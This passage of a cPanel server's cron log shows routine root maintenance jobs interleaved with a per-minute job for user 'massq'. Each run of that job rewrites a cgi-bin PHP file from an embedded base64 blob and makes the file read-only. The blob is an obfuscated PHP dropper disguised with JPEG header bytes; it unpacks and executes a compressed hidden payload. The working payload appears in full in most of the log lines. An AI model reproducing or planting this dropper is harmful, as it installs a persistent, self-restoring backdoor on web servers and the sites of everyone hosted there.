1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:21:01 server CROND[29293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:21:01 server CROND[29294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:21:01 server CROND[29301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:22:01 server CROND[29772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:22:01 server CROND[29773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:22:01 server CROND[29774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:23:01 server CROND[30154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:23:01 server CROND[30155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:23:01 server CROND[30156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:24:01 server CROND[30537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:24:01 server CROND[30538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:24:01 server CROND[30539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:25:01 server CROND[30926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:25:01 server CROND[30929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:25:01 server CROND[30928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:25:01 server CROND[30931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:25:01 server CROND[30932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:25:01 server CROND[30933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:25:01 server CROND[30930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:26:01 server CROND[31766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:26:01 server CROND[31767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:26:01 server CROND[31768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:27:01 server CROND[32251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:27:01 server CROND[32252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:27:01 server CROND[32253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:27:01 server CROND[32254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:28:01 server CROND[32631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:28:01 server CROND[32632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:28:01 server CROND[32635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:29:01 server CROND[580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:29:01 server CROND[581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:29:01 server CROND[582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:30:01 server CROND[1138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:30:01 server CROND[1141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:30:01 server CROND[1142]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:30:01 server CROND[1145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:30:01 server CROND[1148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:30:01 server CROND[1152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:30:01 server CROND[1146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:30:01 server CROND[1149]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  2 05:30:01 server CROND[1151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:31:01 server CROND[2064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:31:01 server CROND[2065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:31:01 server CROND[2066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:32:01 server CROND[2553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:32:01 server CROND[2555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:32:01 server CROND[2556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:33:01 server CROND[2982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
